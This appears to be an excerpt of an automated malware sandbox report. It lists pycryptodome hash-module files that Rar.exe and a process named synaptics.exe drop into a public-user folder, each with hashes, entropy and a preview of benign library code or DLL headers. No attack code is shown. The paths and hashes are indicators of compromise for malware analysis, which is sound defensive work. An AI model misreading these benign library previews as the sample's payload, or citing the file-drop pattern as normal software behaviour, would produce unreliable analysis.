Preview:	from Crypto.Util._raw_api import (VoidPointer, SmartPointer,.. create_string_buffer,.. get_raw_buffer, c_size_t,.. c_uint8_ptr, c_ubyte)....from Crypto.Util.number import long_to_bytes..from Crypto.Util.py3compat import bchr....from .keccak import _raw_keccak_lib......class TurboSHAKE(object):.. """A TurboSHAKE hash object... Do not instantiate directly... Use the :func:`new` function... """.... def __init__(self, capacity, domain_separation, data):.... state = VoidPointer().. result = _raw_keccak_lib.keccak_init(state.address_of(),.. c_size_t(capacity),.. c_ubyte(12)) # Reduced number of rounds.. if result:.. raise ValueError("Error %d while instantiating TurboSHAKE".. % result).. self._state = SmartPointer(state.get()

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TurboSHAKE128.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	591
Entropy (8bit):	5.065116097079714
Encrypted:	false
SSDEEP:	12:1REYBlRE1B9YplvIY39fIL1AzvQ1aEeEWmodFwIiRh72CX5BgRE3GH1dmF:1REOC1bClT39fIRAqYi6LiRh71mEc1dA
MD5:	B0223AB14FDA42D6811F55259F9BE663
SHA1:	409E32782D3A86B66CEBABFA703D72BD682C069A
SHA-256:	B7617049D0B2131180EA0B73AE8CAC73839A27D394BE6B4D9796F9D0198DE6B7
SHA-512:	4A1180FD51BFE2A50EB344A19EFB954C5071218C169F14AC7A86D72BC45B946A35E7CDC4A06E616A20948F235D501AD24B113F2B9ABF56D68F4100F0C2DE8410
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional..from typing_extensions import TypedDict, Unpack, NotRequired....Buffer = Union[bytes, bytearray, memoryview]....class TurboSHAKE(object):.... def __init__(self, capacity: int, domain_separation: int, data: Union[Buffer, None]) -> None: ..... def update(self, data: Buffer) -> TurboSHAKE : ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer]=None) -> TurboSHAKE: .......class Args(TypedDict):.. domain: NotRequired[int].. data: NotRequired[Buffer]....def new(**kwargs: Unpack[Args]) -> TurboSHAKE: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TurboSHAKE256.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	779
Entropy (8bit):	4.819439474706594
Encrypted:	false
SSDEEP:	12:1sumDc9v5Wb6SSkBXM6WhieoHvsPVEzmSqQeEFAcVG/Ebbj9jWAEsI:1sTDg5ESkOhNZPMmSq2FoM9jRI
MD5:	630FCFB160AFD4A4B095C35901777556
SHA1:	0F039C3A2C5205D2105A79B5EB2777884DC8E490
SHA-256:	AD79E152A2C83EE90AC61FF7245DF570673FBE28720D9DE8E07E2FDDBF0E51DB
SHA-512:	9ED88DA711066739EDB47EFB65755A57F9C18402A9AD5C112CF32BE13B97615C2C835A46C8E4E5CD89CBDB5EE6A9BE181A4CC42A1D6F4617F8AACB3C43F76878
Malicious:	false
Reputation:	low
Preview:	from .TurboSHAKE128 import TurboSHAKE....def new(**kwargs):.. """Create a new TurboSHAKE256 object..... Args:.. domain (integer):.. Optional - A domain separation byte, between 0x01 and 0x7F... The default value is 0x1F... data (bytes/bytearray/memoryview):.. Optional - The very first chunk of the message to hash... It is equivalent to an early call to :meth:`update`..... :Return: A :class:`TurboSHAKE` object.. """.... domain_separation = kwargs.get('domain', 0x1F).. if not (0x01 <= domain_separation <= 0x7F):.. raise ValueError("Incorrect domain separation value (%d)" %.. domain_separation).. data = kwargs.get('data').. return TurboSHAKE(64, domain_separation, data=data)..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TurboSHAKE256.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	318
Entropy (8bit):	5.138819601387305
Encrypted:	false
SSDEEP:	6:1REYBXa4REsuB9cebopy1LxyJQmUUzrIY3MT7O3ymK95lvdgzSNFIF:1REYBXa4RE1B9YSsumtvIY3eH1dmF
MD5:	0F8CE87AD72ECACADED5EB6869C0C063
SHA1:	4C8EBDA5C1826749B747BF268036DC11A1FD9CC3
SHA-256:	86DEA501F8ED56BAE7652415243B38845AB1C94A1E4AD0E737A98A37A80235EA
SHA-512:	8CD3AF34C3FD94E6DBE15575BB3AC6C84AFBAF14067066E53EEE3A727866C5E626E323C6ED4736186E21056D4A27EF57184DFAE378A9B8E53210F340051649ED
Malicious:	false
Reputation:	low
Preview:	from typing import Union..from typing_extensions import TypedDict, Unpack, NotRequired....from .TurboSHAKE128 import TurboSHAKE....Buffer = Union[bytes, bytearray, memoryview]....class Args(TypedDict):.. domain: NotRequired[int].. data: NotRequired[Buffer]....def new(**kwargs: Unpack[Args]) -> TurboSHAKE: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.577128040106931
Encrypted:	false
SSDEEP:	192:ioG8PEXpAeBWctWJmI5jO1hJycHFvleUAH2Nh2m4AjWoKemMVnQ8NM:i3pAu4JmAjGMajC2NhqOWoFnQm
MD5:	924B83B89DCEFB7C6DCB44A7D58F8EE2
SHA1:	15A755D52961B5DBC38C2DB1346089717B5E107C
SHA-256:	49DC3F64559A5EC163034EE29577EB45A242A5D2EFD6B9364110D26E8AE325FD
SHA-512:	C0F9687DFB8A2EDEB227C00D07478F54B66692F8110FA146B00EB345D450976C741CC0178D919386A5A117E621A7A0A1BAFC3744102A3E6D2CB5FFEDE20B2EAA
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...4..e...........!...%............N........0...............................p............@..........................6.......6..d....P.......................`..T...p2...............................1..@............0..x............................text............................... ..`.rdata..4....0......."..............@..@.data........@......................@....rsrc........P.......0..............@..@.reloc..T....`.......2..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.620531181419531
Encrypted:	false
SSDEEP:	192:yEG8PEXpAeBWctWJmI5jOIXqDy5ucTuJPNTWpaDGNwlQ/+dpXMVnQIN6i:ybpAu4JmAjnXqsR9paDGulQ/amnQS6i
MD5:	48E08209729FD94B37B95B035D2BD181
SHA1:	0DF8E560290E36888691FF5750F3802A58687FA1
SHA-256:	1DBAE6101BBEB5AAAB8790536FC6A824C979C5C5E19F16A73AA8853FF3CF1C0A
SHA-512:	8502D032D030B79AAE62F2A45222757CDFA721EC8E350C1E5DA66A5D561C675F72EB149F9772379CC657F6B6C2EE3D4D57F1660EEB58BCAE77BE038060697028
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...4..e...........!...%............N........0...............................p............@..........................5.......6..d....P.......................`..X...P2...............................1..@............0..x............................text............................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc..X....`.......*..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_MD2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	5.434336431091903
Encrypted:	false
SSDEEP:	192:oYYSEPEmRc+ZWcVWJjRjO9YRb/qKEBaQMOjMVn6LlN:oRc2AJNjsYF/7EbMBn6L
MD5:	651E355E1B12047955D8E2D23DAF98C4
SHA1:	5599946F2DBC2BE5603AB3B21CC5605F25166390
SHA-256:	261C787C28C421432D1BA8B07D9D2FDBED73C2F8A5B27D4CF755AFA6409C05CD
SHA-512:	8FDA0E2A74FB6F774A33766306D1143EC0DA429B6F3622708F4FCA9E7E2BB932029A416780CA1758ADC8D1B2F7E561293FA6D57F839B03847B05F17C0C1ECA4A
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...-..e...........!...%............N........0...............................p............@..........................6.......6..d....P.......................`.......2...............................1..@............0..\|............................text............................... ..`.rdata..(....0......................@..@.data........@......."..............@....rsrc........P.......$..............@..@.reloc.......`.......&..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_MD4.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.7491431618529685
Encrypted:	false
SSDEEP:	192:oYRoY1PEWZc+BWctWJjRjOq8AKyaw5DsfH2kVOCGMVn60N:TZcu4JNjci9yHxV5n6e
MD5:	B186B120E486DB9B4132A38E5C34C960
SHA1:	AB24AE7520CE68DAA9725703F2BA7C05F7E23588
SHA-256:	CD9F033356D2689212215C868763F6C43D4A510D1907EBFB1B4F532534733D1F
SHA-512:	A45C43ED7D7CC793236BE6D822D231F99A35F9BAA0AE63AA7ED2EB6816EAE3ED38DCB5FC98C10AAE1B433D2366E0DB26814AACC5038114A4096EDFD20AD61C18
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L......e...........!...%............N........0...............................p............@.........................@5.......5..d....P.......................`..l....1...............................0..@............0..\|............................text............................... ..`.rdata..h....0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc..l....`.......*..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_MD5.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.806427442388011
Encrypted:	false
SSDEEP:	192:oY734lPEG/JJu+qWcbWJ96QjOgWZIdfykST4qTi4CR+jGoSmiMVn63vIN:psJcriJfjlmgS0qTtm+jlSmdn63vS
MD5:	83DB203273B63DB1D1666840BB0E71D9
SHA1:	157B58BD6A089282836F1A3723432DC95E1DF4D5
SHA-256:	F7A3D04C0CB8301506B89B44DE5889016347D1607F15D2ED16712CE06A2E232D
SHA-512:	3DC039BE87489B316FF8D809135C29785203AA265D4A5117D3001CFD71A1DE7870B2EDEB76AA6596DB73A9043F021A498AB3C3E00628AF5992392CF80457CA6F
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L......e...........!...%............N........0...............................p............@..........................5.......5..d....P.......................`..l...x1...............................0..@............0..\|............................text...+........................... ..`.rdata..H....0....... ..............@..@.data........@.......*..............@....rsrc........P.......,..............@..@.reloc..l....`......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.413442037310423
Encrypted:	false
SSDEEP:	192:scsLHPEXpAlBWctWJmI5jOLt/1k9nYc9MCxniMVnAQN2:scvpA94JmAjMwh9NxndnA6
MD5:	3997387AA13BC2BE8C6D75A6DA925EF3
SHA1:	B12EADD0FFEFA10AEB6B70659AEC949D1975C770
SHA-256:	338BCDEAD74DFB728252B54F481117A0B5B40C86A70C95B304FF6A1E5DA4A524
SHA-512:	580E7F65C519C33C710A2917113C56812EF05A0F12E6D4DEF3BB2F42E0CB744C9C1BBFE87A54AADEAAA3E754524C6F77E36F213A401EF50ABF8B9052583D068C
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...co..co..co..j.=.go..v...ao..(...`o..co..Ao..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.Q.bo..Y..bo..Richco..........................PE..L...4..e...........!...%............N........0...............................p............@..........................6......X7..d....P.......................`.......3..............................P2..@............0..x............................text............................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......*..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA1.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	6.076265358698928
Encrypted:	false
SSDEEP:	384:kvZMACJPjbBHhz0qiXVPbRcySH5mxdnpLcIZpLq6/na3+T:kBC9BHhz0qiFPFphdpLcIZla3+T
MD5:	E432E1E5AD35F45DC34CD034CCAED111
SHA1:	9CA70728B955C5D0FF8C6C3871D80946A259D603
SHA-256:	679CCF793D3D9EF4F0B4B8647F022DA4F40847D3084A4D84441CFBEFBBA37C6F
SHA-512:	3B7B313313B81965384F036CDEC7145CA0AC67F5C8AD8DAB60E4710CB8348314BD8DA1BAF9982D4B0BAD378B1089A1D5F5F3ECACF0ECB0CF8412F2F4993BAF1D
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L......e...........!...%.,..........N........@............................................@..........................E.......E..d....`.......................p..x...xA...............................@..@............@..\|............................text....+.......,.................. ..`.rdata..P....@.......0..............@..@.data........P.......:..............@....rsrc........`.......<..............@..@.reloc..x....p.......>..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA224.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	5.970456337666413
Encrypted:	false
SSDEEP:	384:0Bah4UKJx1LjJ+EX97NmCFe3z1gnH1bSh1ci75EhCp8J1hmaZOXqna3I:0KKD7tI14cHh6f1dZy0a3I
MD5:	F1BCB5201E274FA9696AE330A5E06056
SHA1:	9A1EDF31C17B0565C2687BF61010EFE305CDC7C2
SHA-256:	C0AF73B1F8BC6B86995DAC103AE5A853744914762086B57E3BC8DF29CD5233FF
SHA-512:	84CA339E40074F9641A0A8409CB78E5731A5784AC11A13021A5A5AFAE8B78C5FCD81BB8E5BF1FAEBC3DD088B35B4E8C842AEBA8A12D519211CE27A54CB76A477
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...0..e...........!...%.2..........N........P............................................@..........................V.......V..d....p..........................t....R...............................Q..@............P..\|............................text...b0.......2.................. ..`.rdata..`....P.......6..............@..@.data...,....`.......B..............@....rsrc........p.......D..............@..@.reloc..t............F..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA256.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	5.964747110712993
Encrypted:	false
SSDEEP:	384:Dah4UKJx1LjuX7b9hCFizDgnH1bSh1ci75EhCp8J1hm6Zfqna3I:IKQyID4cHh6f19Zf0a3I
MD5:	DFE083D26D047BEC3349C6345DB1AFA5
SHA1:	1C02FEEA790456083EE4ACDD4263F84B8A920CCD
SHA-256:	3C82DB1BCCE7BCBE4CCCD6716F92B900957D279AFC7F7A2A59523A40D3009617
SHA-512:	542BAABFC90D905A67F2D62B1FD27A0053145D5F532EDB1CBB005258EDC72F0D448570F513AA5D8108857727966E28553741287073032A35B9E6E3787CDB4FD6
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L.../..e...........!...%.2..........N........P............................................@..........................V.......V..d....p..........................t....R...............................Q..@............P..\|............................text...B0.......2.................. ..`.rdata..`....P.......6..............@..@.data...,....`.......B..............@....rsrc........p.......D..............@..@.reloc..t............F..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA384.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	6.2081292481440435
Encrypted:	false
SSDEEP:	384:FqkeGhOJ8QjWduVqYatNaYLKpFHiAn3F2gcZc8Mq1GJ8ehedP1na3I:FjlOiBCtCN+YkFAMBJ8weJ9a3I
MD5:	AA8CAF413B18D9548729D5F455B2DA69
SHA1:	0C5830B555C9FCC7AEA56E4256192ED5D5BF0417
SHA-256:	356B0EE34C719953D5122A835EEAA6A4A334C99A8873A6B3E7B2B45641FBE3D2
SHA-512:	235598C1DEFB745F54A7A173D42E9B344751E242207EF6B8BC362AEA057896B13117141AA9464BB7B5BBCACA5F0B1C87DF158220765CB4D11ABF490ECD2328D4
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m...*.m.....m......m..m..m.....m.....m.....m....m....m...F.m....m..Rich.m..................PE..L...2..e...........!...%............N.....................................................@.....................................d...............................t...@...................................@...............\|............................text...e........................... ..`.rdata.. ...........................@..@.data...4...........................@....rsrc...............................@..@.reloc..t...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA512.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	6.239644424186895
Encrypted:	false
SSDEEP:	384:C8D29MuJvjdh/9qd8tNaYLKpFHiAn3F2gcZc8Mq1GJ8ehedfQna34J:C8zuznycN+YkFAMBJ8welKa34J
MD5:	AD97617D4BC580E9C5BAE880865DEF77
SHA1:	88FC140782BA5A38D14D38F996C1391E0BCAA573
SHA-256:	B805D429D9CFDDD2621A4A6CA42EE8183C9506D3BC790A83E5B1B04C297B7B2D
SHA-512:	326CB3E9434BCB878FD3E30E609D5F3C963294CBF75A228768AD3EBF8110AC0A3EBA2EB212B5E7D9157FA290EE3EA07E9094FB772D0608EB2622E0230D0D51EF
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........m..m..m...*.m.....m......m..m..m.....m.....m.....m....m....m...F.m....m..Rich.m..................PE..L...3..e...........!...%............N.....................................................@.........................@.......(...d.......................................................................@...............\|............................text............................... ..`.rdata..............................@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3008
Entropy (8bit):	5.230297505186991
Encrypted:	false
SSDEEP:	48:KIB0jcQHMsvI/S3oCFXcgHP76Mn6Gsh2L4ZMGdnP7rUjDDM+rDttfakWGL8A:dFQHvoc76MneU0P+X
MD5:	273FE2618CACD783CC30C94EB92B1F76
SHA1:	0E303EDEB936B8F552F30AAAF4953B9A6F29B8D4
SHA-256:	79AA947F1C29D838ADF9FB696FE5EFC169FA67C73CCEE8ABB89FD65985D6B440
SHA-512:	01BF678948D0C0F6FB02718D2619140580B0F735D02D87433136DA65916C7A8C8C4E7F734DF2B063209693A56BD3F8D2D4E5E2E879543E9EEB5425838B0D0315
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\init.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2085
Entropy (8bit):	5.17608688273199
Encrypted:	false
SSDEEP:	48:aF9+C++h+N+9+jZ+c+4+8+v1tZccj8ny7Mk8kjqu5BCViGHh29398O4Q:aF94UgQY7nTaZccj8ny7Mk8kjqu5BCVO
MD5:	36A0E0920BC50C5AC662383955E311A1
SHA1:	FFF119192B3BB62C9EC36F076FE2F65012BB0DEA
SHA-256:	A4763996875B02499733BA1336240470992D9B7C5B1AF986DD0FE6FFC52F5642
SHA-512:	78B5C6B11A20678902A236FAE88E1E78D933475D5AD618054B6D0FF9FCC6F9F2A1CD92B8D745D92CDDA9BDDA1DB621333ACAEAAF3E3332E7DD8094E4CAAD4D34
Malicious:	false
Reputation:	low
Preview:	from typing import overload..from typing_extensions import Literal....from Crypto.Hash.SHA1 import SHA1Hash..from Crypto.Hash.SHA224 import SHA224Hash..from Crypto.Hash.SHA256 import SHA256Hash..from Crypto.Hash.SHA384 import SHA384Hash..from Crypto.Hash.SHA512 import SHA512Hash..from Crypto.Hash.SHA3_224 import SHA3_224_Hash..from Crypto.Hash.SHA3_256 import SHA3_256_Hash..from Crypto.Hash.SHA3_384 import SHA3_384_Hash..from Crypto.Hash.SHA3_512 import SHA3_512_Hash....@overload..def new(name: Literal["1.3.14.3.2.26"]) -> SHA1Hash: .....@overload..def new(name: Literal["SHA1"]) -> SHA1Hash: .....@overload..def new(name: Literal["2.16.840.1.101.3.4.2.4"]) -> SHA224Hash: .....@overload..def new(name: Literal["SHA224"]) -> SHA224Hash: .....@overload..def new(name: Literal["2.16.840.1.101.3.4.2.1"]) -> SHA256Hash: .....@overload..def new(name: Literal["SHA256"]) -> SHA256Hash: .....@overload..def new(name: Literal["2.16.840.1.101.3.4.2.2"]) -> SHA384Hash: .....@overload..def new(name: Lit

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\BLAKE2s.cpython-310.pyc.72802456

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7296
Entropy (8bit):	5.2592275358789
Encrypted:	false
SSDEEP:	96:Pvykv8y2Ed5cPnd8Vr+jnH02x8yC0enZH3i2Ms+dlFKyXcfT7b2k1hITnSHWalQ7:cyC8N+n8yC0rsePJXOz29S7QGLm
MD5:	95F8E2BC98EC330E708BC8C5A16B7640
SHA1:	0B37DC5E3F10F7811D992490C32BD399944698E7
SHA-256:	4E2572840DADCE022792A88CB93A0C494A37586ED52587AE95C5F44DD0CD5622
SHA-512:	44FF2E8908E5D732B0E77F6607492B36B8A94745267B3C45A7D2F49501024B7C3023F9B1B8D00C000505ADB1DDA758E97001DD03B9F2E5FBA0F3AA14DC9F9103
Malicious:	false
Reputation:	low
Preview:	o..........f.%.......................@...sr...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...unhexlify)...bord..tobytes)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._BLAKE2sa..... int blake2s_init(void *state,. const uint8_t key,. size_t key_size,. size_t digest_size);. int blake2s_destroy(void state);. int blake2s_update(void state,. const uint8_t buf,. size_t len);. int blake2s_digest(const void state,. uint8_t digest[32]);. int blake2s_copy(co

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\BLAKE2s.cpython-310.pyc.76458488

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7296
Entropy (8bit):	5.2592275358789
Encrypted:	false
SSDEEP:	96:Pvykv8y2Ed5cPnd8Vr+jnH02x8yC0enZH3i2Ms+dlFKyXcfT7b2k1hITnSHWalQ7:cyC8N+n8yC0rsePJXOz29S7QGLm
MD5:	95F8E2BC98EC330E708BC8C5A16B7640
SHA1:	0B37DC5E3F10F7811D992490C32BD399944698E7
SHA-256:	4E2572840DADCE022792A88CB93A0C494A37586ED52587AE95C5F44DD0CD5622
SHA-512:	44FF2E8908E5D732B0E77F6607492B36B8A94745267B3C45A7D2F49501024B7C3023F9B1B8D00C000505ADB1DDA758E97001DD03B9F2E5FBA0F3AA14DC9F9103
Malicious:	false
Reputation:	low
Preview:	o..........f.%.......................@...sr...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...unhexlify)...bord..tobytes)...get_random_bytes)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..create_string_buffer..get_raw_buffer..c_size_t..c_uint8_ptrz.Crypto.Hash._BLAKE2sa..... int blake2s_init(void *state,. const uint8_t key,. size_t key_size,. size_t digest_size);. int blake2s_destroy(void state);. int blake2s_update(void state,. const uint8_t buf,. size_t len);. int blake2s_digest(const void state,. uint8_t digest[32]);. int blake2s_copy(co

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\pycache\CMAC.cpython-310.pyc.72802696

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7926
Entropy (8bit):	5.384259307905337
Encrypted:	false
SSDEEP:	192:xkzUGdR3AHmrFQCkRU3hoM2wis+jpxKmWBKskH3Pj:OzUGPQHmrFQJRUCM2wiZdxzPzXPj
MD5:	959AEAF60AF2782B86D39472430AC396
SHA1:	D7D28AC344BC3C7D490F633543AA1572F59E02B5
SHA-256:	0A6EC7D6CA7734BFBF5A13B966D037D40E27839FB859722CA14649EA262F9C73
SHA-512:	9F00F8ABEC214123D376A91BFB9AC25D0A1AEE4DE37FBC674C62A4F8FA36088B695E630678D6AB5D1011EDAF7AABD025DF82F5CED3813E95BDCEC74B25DC4FDE
Malicious:	false
Reputation:	low
